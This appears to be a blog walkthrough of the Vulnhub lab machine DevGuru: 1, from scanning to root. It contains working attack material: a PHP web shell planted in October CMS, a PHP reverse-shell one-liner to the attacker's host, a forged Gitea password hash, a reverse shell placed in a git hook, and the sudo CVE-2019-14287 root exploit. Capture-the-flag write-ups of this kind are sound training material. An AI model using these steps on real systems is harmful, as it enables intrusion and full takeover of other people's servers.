DevGuru: 1 - Vulnhub
Posted on December 15, 2020 (Last modified on July 15, 2024) • 10 min read • 2,118 wordsDevGuru: 1 - A Vulnhub vulnerable machine walkthrough.
Fast nmap scan.
┌──(tiago㉿kali)-[~]
└─$ nmap -sT -p- --open 192.168.0.63
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:22 -03
Nmap scan report for 192.168.0.63
Host is up (0.0035s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8585/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 16.46 seconds
Nmap scan in detail.
┌──(tiago㉿kali)-[~]
└─$ sudo nmap -sV -A -O -p22,80,8585 192.168.0.63 1 ⨯
[sudo] password for tiago:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 11:24 -03
Nmap scan report for 192.168.0.63
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git:
| 192.168.0.63:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=60a60f9a3f2071e6; Path=/; HttpOnly
| Set-Cookie: _csrf=gZLNwT-DkBTkP2Femsn0l4c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 10 Dec 2020 14:24:50 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=5dba56f953e777cd; Path=/; HttpOnly
| Set-Cookie: _csrf=qFWDFJyuERvO3K1gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng; Path=/; Expires=Fri, 11 Dec 2020 14:24:50 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 10 Dec 2020 14:24:50 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.91%I=7%D=12/10%Time=5FD22FB2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A02,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=60a60f9a3f2071e6
SF:;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=gZLNwT-DkBTkP2Femsn0l4
SF:c6rU46MTYwNzYxMDI5MDY1NDc0OTg2Mg;\x20Path=/;\x20Expires=Fri,\x2011\x20D
SF:ec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEO
SF:RIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"
SF:viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<m
SF:eta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title
SF:>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<lin
SF:k\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-
SF:credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">
SF:\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20
SF:a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pa
SF:inless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2
SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=5dba56f95
SF:3e777cd;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=qFWDFJyuERvO3K1
SF:gxAiy1eV2lG86MTYwNzYxMDI5MDc3MDAyMjI4Ng;\x20Path=/;\x20Expires=Fri,\x20
SF:11\x20Dec\x202020\x2014:24:50\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nDate:\x20Thu,\x2010\x20Dec\x202020\x2014:24:50\x20GMT\r
SF:\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\
SF:n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20
SF:name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\"
SF:>\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\
SF:t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/ma
SF:nifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"t
SF:heme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20con
SF:tent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<m
SF:eta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x2
SF:0c");
MAC Address: 08:00:27:FF:2C:BE (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.83 ms 192.168.0.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.57 seconds
Site DevGuru available in port 80
.
Gitea in port 8585
.
Scanning and enumerating all websites.
┌──(root💀kali)-[/home/tiago]
└─# nikto -h 192.168.0.63
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.63
+ Target Hostname: 192.168.0.63
+ Target Port: 80
+ Start Time: 2020-12-10 11:37:30 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3093: /.htaccess: Contains configuration and/or authorization information
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ X-XSS-Protection header has been set to disable XSS Protection. There is unlikely to be a good reason for this.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2020-12-10 11:40:03 (GMT-3) (153 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(tiago㉿kali)-[~]
└─$ nikto -h 192.168.0.63:8585
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.63
+ Target Hostname: 192.168.0.63
+ Target Port: 8585
+ Start Time: 2020-12-10 11:37:50 (GMT-3)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie lang created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'content-disposition' found, with contents: attachment; filename=favicon.png
+ Uncommon header 'content-transfer-encoding' found, with contents: binary
+ Uncommon header 'content-description' found, with contents: File Transfer
+ Cookie redirect_to created without the httponly flag
+ /debug/: Possible debug directory/program found.
+ 7919 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2020-12-10 11:38:19 (GMT-3) (29 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Doing some enumeration with ffuf
┌──(root💀kali)-[/home/tiago/apps/tools/ffuf_1.1.0_linux_amd64]
└─# ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://192.168.0.63/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
.htaccess [Status: 200, Size: 1678, Words: 282, Lines: 53]
0 [Status: 200, Size: 12664, Words: 929, Lines: 331]
About [Status: 200, Size: 18656, Words: 977, Lines: 478]
Services [Status: 200, Size: 10026, Words: 815, Lines: 267]
about [Status: 200, Size: 18656, Words: 977, Lines: 478]
backend [Status: 302, Size: 406, Words: 60, Lines: 12]
config [Status: 301, Size: 313, Words: 20, Lines: 10]
modules [Status: 301, Size: 314, Words: 20, Lines: 10]
plugins [Status: 301, Size: 314, Words: 20, Lines: 10]
services [Status: 200, Size: 10026, Words: 815, Lines: 267]
storage [Status: 301, Size: 314, Words: 20, Lines: 10]
themes [Status: 301, Size: 313, Words: 20, Lines: 10]
vendor [Status: 301, Size: 313, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 97 req/sec :: Duration: [0:03:30] :: Errors: 0 ::
┌──(tiago㉿kali)-[~/apps/tools/ffuf_1.1.0_linux_amd64]
└─$ ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.63:8585/FUZZ 127 ⨯
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://192.168.0.63:8585/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
admin [Status: 302, Size: 34, Words: 2, Lines: 3]
avatars [Status: 302, Size: 31, Words: 2, Lines: 3]
css [Status: 302, Size: 27, Words: 2, Lines: 3]
debug [Status: 200, Size: 160, Words: 18, Lines: 5]
explore [Status: 302, Size: 37, Words: 2, Lines: 3]
fonts [Status: 302, Size: 29, Words: 2, Lines: 3]
frank [Status: 200, Size: 11236, Words: 968, Lines: 345]
healthcheck [Status: 200, Size: 26, Words: 4, Lines: 2]
img [Status: 302, Size: 27, Words: 2, Lines: 3]
issues [Status: 302, Size: 34, Words: 2, Lines: 3]
js [Status: 302, Size: 26, Words: 2, Lines: 3]
milestones [Status: 302, Size: 34, Words: 2, Lines: 3]
notifications [Status: 302, Size: 34, Words: 2, Lines: 3]
vendor [Status: 302, Size: 30, Words: 2, Lines: 3]
:: Progress: [20469/20469] :: Job [1/1] :: 346 req/sec :: Duration: [0:00:59] :: Errors: 0 ::
Back to nikto
look at those git files available to us. The same can be achieved with nuclei
.
./nuclei -l urls.txt -t nuclei-templates/files/ -o results.txt
Now we can dump it easily with git-dumper
on folder devguru.
./git-dumper.py http://192.168.0.63/.git devguru
Inside devguru folder, you’ll finde only .git
file. Let’s analyse it and checkout to last commit.
git log --pretty=oneline
git log --pretty=format:"%h %s" --graph
Now checkout to commit and list it’s content.
git checkout 7de9115
ls
Looking for password in config
folder.
fgrep -r password config/
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
Look at the path adminer.php
, sounds interesting.
The database Adminer has its version as 4.7.7, giving me suggestion to update to 4.7.8. Maybe some vulnerability ahead.
Verifying MySQL version
SHOW VARIABLES LIKE "%version%"
Looking at user table.
Create a bcrypt password. Take care with the amount of rounds, I used 10 rounds.
Password GetShell
Clone Frank user line and create yours with your own user.
Now you can login with your user.
October CMS Version 1.0.1
Once logged into October, we can add a malicious php code to be executed when the page loaded. Let’s do it in Home page. First create a malicious markup which will call out php code.
Now insert the malicious code.
function onStart()
{
$this->page["PoisonVar"] = system($_GET['cmd']);
}
Save it and run a command through cmd.
This is the response of the listed directory.
Time to inject a command in cmd and get our first shell.
php -r '$sock=fsockopen("192.168.0.64",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Now just wait for the connection.
┌──(root💀kali)-[/home/tiago]
└─# rlwrap nc -nlvp 1234
listening on [any] 1234 .
Spawning a better shell
python3.6 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
LinEnum script found some interesting backup files.
less app.ini.bak
[database]
:
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
:
DB_TYPE = mysql
:
HOST = 127.0.0.1:3306
:
NAME = gitea
:
USER = gitea
:
; Use PASSWD = `your password` for quoting if you use special characters in the
:
password.
:
PASSWD = UfFPTF8C8jjxVF2m
The only way I found to reproduce such hash was taking advantage of this opensource project, reading the code and adapting it to a simple golang program.
https://github.com/go-gitea/gitea/blob/master/models/user.go#L379-L397
//https://medium.com/rungo/how-to-write-a-simple-go-program-13fd104f3018
//https://godoc.org/golang.org/x/crypto/pbkdf2
package main
import (
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
"fmt"
)
func main(){
var passwd []byte
passwd = pbkdf2.Key([]byte("0xtiago"), []byte("MaaahOeeee"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x",passwd))
}
Installing dependency and running the program.
$ go get golang.org/x/crypto/pbkdf2
$ go run hash.go
f1eb1933069a3552722c29faeeeb1271e2e66c0eae8646201df479f90c99fa4075e8c568852a7a54b7665c3e760911706509
Now just clone the table line and create a new user with the hash and salt.
\o/
$ ps aux | grep gitea
Gitea process is running as frank user.
Create a new repository and add a reverse shell script on post-receive Git hook.
Then i just had to clone and commit a new change like the example bellow, and received the shell back.
$ git clone http://devguru.local:8585/tiago/Teste.git
$ cd Teste
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master
One of the first thing to do during the enumeration is check the permissions I have executing something as root, like sudo -l
.
I can run sqlite3 as root, but it will ask frank password for this, but we don’t have this information. Verifying sudo version, I figured out that is vulnerable to privilege escalation, as says CVE-2019-14287.
From now on I used this to references:
Time to become root.
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
root@devguru:/root# cat msg.txt
cat msg.txt
Congrats on rooting DevGuru!
Contact me via Twitter @zayotic to give feedback!
root@devguru:/root# cat root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f